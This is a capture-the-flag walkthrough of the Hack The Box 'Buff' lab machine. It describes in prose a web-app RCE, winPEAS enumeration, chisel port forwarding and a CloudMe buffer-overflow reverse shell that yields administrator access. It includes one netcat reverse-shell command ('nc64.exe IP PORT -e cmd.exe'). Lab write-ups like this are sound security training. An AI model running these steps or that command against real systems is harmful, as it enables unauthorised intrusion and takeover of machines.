Hello everyone , I hope you are doing well, in this post I will be sharing my walkthrough for HTB Buff machine ,which was an easy windows machine ,which invlolved running a web server on port 8080 using Gym Management System 1.0 which had an exploit which allowed us to perform unauthenticated remote code execution and after that running winpeas showed us that “CloudMe” was running on port 8888 which had a buffer over flow exploit and in order to that we had to do port forwarding ,generate the proper payload and run ths exploit, so let’s jump in


PORT 8080 (HTTP)

Going over to contact tab we can it's using "Gym Management Software 1.0 " so let's google that and see what comes

We get an exploit for this so let’s use it and see if it works or not

We got a shell but it’s not stabilized so I am going to upload nc64.exe on the machine

Now to use netcat , nc64.exe IP PORT -e cmd.exe

We can grab the user.txt (the user flag) from here, I uploaded winpeas which is a executable you can use for enumerating windows machines

We can see that on local port 8888 there’s CloudMe running, so let's search for an exploit

And there’s the exploit we can use but issue ,it must be ran on that port and on windows machine there’s no python installed so we need to port forward 8888 so we can run this exploit .In order to do that I will use chisel which is an awesome tool for port forwarding


We need to get chisel both , the binary for linux and executable file (exe) for windows

We can see we have port 8888 listening on our local machine.

In the python script we need to generate our payload using encoder and with bad bytes in the raw format so I generated a windows reverse shell payload and saved it’s output in a file so I can replace it with the payload in the script

Replace the payload also replace buf with payload variable name so this is our script

Now let’s run the script and also listen on the port we set in payload, I ran the exploit once but it didn’t run , when I ran it for the second time ,I got the shell as administartor

BS CS undergraduate | CTF Player